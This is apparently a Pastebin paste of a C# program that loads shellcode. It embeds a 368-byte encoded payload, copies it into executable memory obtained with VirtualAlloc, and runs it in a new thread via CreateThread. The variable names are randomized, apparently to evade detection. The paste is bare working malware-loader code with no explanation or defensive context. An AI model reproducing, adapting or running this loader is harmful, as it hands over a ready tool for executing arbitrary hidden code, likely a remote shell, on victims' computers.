Advertisement
Guest User

Untitled

a guest
Oct 16th, 2018
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.43 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Runtime.InteropServices;
  7.  
  8.  
  9. namespace Program.cs
  10. {
  11. class Program
  12. {
  13. static void Main()
  14. {
  15.  
  16. byte[] SXyniFAbtwCEv = new byte[368] {
  17. 0xbb,0x3d,0x84,0xb2,0xcc,0xdd,0xc7,0xd9,0x74,0x24,0xf4,0x5a,0x29,0xc9,0xb1,
  18. 0x56,0x83,0xea,0xfc,0x31,0x5a,0x0f,0x03,0x5a,0x32,0x66,0x47,0x30,0xa4,0xe4,
  19. 0xa8,0xc9,0x34,0x89,0x21,0x2c,0x05,0x89,0x56,0x24,0x35,0x39,0x1c,0x68,0xb9,
  20. 0xb2,0x70,0x99,0x4a,0xb6,0x5c,0xae,0xfb,0x7d,0xbb,0x81,0xfc,0x2e,0xff,0x80,
  21. 0x7e,0x2d,0x2c,0x63,0xbf,0xfe,0x21,0x62,0xf8,0xe3,0xc8,0x36,0x51,0x6f,0x7e,
  22. 0xa7,0xd6,0x25,0x43,0x4c,0xa4,0xa8,0xc3,0xb1,0x7c,0xca,0xe2,0x67,0xf7,0x95,
  23. 0x24,0x89,0xd4,0xad,0x6c,0x91,0x39,0x8b,0x27,0x2a,0x89,0x67,0xb6,0xfa,0xc0,
  24. 0x88,0x15,0xc3,0xed,0x7a,0x67,0x03,0xc9,0x64,0x12,0x7d,0x2a,0x18,0x25,0xba,
  25. 0x51,0xc6,0xa0,0x59,0xf1,0x8d,0x13,0x86,0x00,0x41,0xc5,0x4d,0x0e,0x2e,0x81,
  26. 0x0a,0x12,0xb1,0x46,0x21,0x2e,0x3a,0x69,0xe6,0xa7,0x78,0x4e,0x22,0xec,0xdb,
  27. 0xef,0x73,0x48,0x8d,0x10,0x63,0x33,0x72,0xb5,0xef,0xd9,0x67,0xc4,0xad,0xb5,
  28. 0x44,0xe5,0x4d,0x45,0xc3,0x7e,0x3d,0x77,0x4c,0xd5,0xa9,0x3b,0x05,0xf3,0x2e,
  29. 0x4a,0x01,0x04,0xe0,0xf4,0x42,0xfa,0x01,0x04,0x4a,0x39,0x55,0x54,0xe4,0xe8,
  30. 0xd6,0x3f,0xf4,0x15,0x03,0xd5,0xfe,0x81,0x6c,0x81,0xfe,0x4c,0x05,0xd3,0x00,
  31. 0x7e,0x89,0x5a,0xe6,0xd0,0x61,0x0c,0xb7,0x90,0xd1,0xec,0x67,0x79,0x38,0xe3,
  32. 0x58,0x99,0x43,0x2e,0xf1,0x30,0xac,0x86,0xa9,0xac,0x55,0x83,0x22,0x4c,0x99,
  33. 0x1e,0x4f,0x4e,0x11,0xaa,0xaf,0x01,0xd2,0xdf,0xa3,0x76,0x85,0x1f,0x3c,0x87,
  34. 0x20,0x1f,0x56,0x83,0xe2,0x48,0xce,0x89,0xd3,0xbe,0x51,0x71,0x36,0xbd,0x96,
  35. 0x8d,0xc7,0xf7,0xed,0xb8,0x5d,0xb7,0x99,0xc4,0xb1,0x37,0x5a,0x93,0xdb,0x37,
  36. 0x32,0x43,0xb8,0x64,0x27,0x8c,0x15,0x19,0xf4,0x19,0x96,0x4b,0xa8,0x8a,0xfe,
  37. 0x71,0x97,0xfd,0xa0,0x8a,0xf2,0x7d,0xa6,0x74,0x80,0xa9,0x0f,0x1c,0x7a,0xea,
  38. 0xaf,0xdc,0x10,0xea,0xff,0xb4,0xef,0xc5,0xf0,0x74,0x0f,0xcc,0x58,0x1c,0x9a,
  39. 0x81,0x2b,0xbd,0x9b,0x8b,0xea,0x63,0x9b,0x38,0x37,0x94,0xe6,0x31,0xc8,0x55,
  40. 0x17,0x58,0xad,0x56,0x17,0x64,0xd3,0x6b,0xc1,0x5d,0xa1,0xaa,0xd1,0xd9,0xba,
  41. 0x99,0x74,0x4b,0x51,0xe1,0x2b,0x8b,0x70 };
  42.  
  43.  
  44.  
  45. UInt32 KPilHFknk = VirtualAlloc(0, (UInt32)SXyniFAbtwCEv.Length,
  46. MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  47. Marshal.Copy(SXyniFAbtwCEv, 0, (IntPtr)(KPilHFknk), SXyniFAbtwCEv.Length);
  48. IntPtr hThread = IntPtr.Zero;
  49. UInt32 EWaNzpPhXXhfq = 0;
  50.  
  51. IntPtr pinfo = IntPtr.Zero;
  52.  
  53.  
  54. hThread = CreateThread(0, 0, KPilHFknk, pinfo, 0, ref EWaNzpPhXXhfq);
  55. WaitForSingleObject(hThread, 0xFFFFFFFF);
  56. return;
  57. }
  58.  
  59. private static UInt32 MEM_COMMIT = 0x1000;
  60.  
  61. private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
  62.  
  63. [DllImport("kernel32")]
  64. private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
  65. UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
  66.  
  67.  
  68. [DllImport("kernel32")]
  69. private static extern IntPtr CreateThread(
  70.  
  71. UInt32 lpThreadAttributes,
  72. UInt32 dwStackSize,
  73. UInt32 lpStartAddress,
  74. IntPtr param,
  75. UInt32 dwCreationFlags,
  76. ref UInt32 lpThreadId
  77.  
  78. );
  79.  
  80. [DllImport("kernel32")]
  81. private static extern UInt32 WaitForSingleObject(
  82.  
  83. IntPtr hHandle,
  84. UInt32 dwMilliseconds
  85. );
  86. }
  87. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement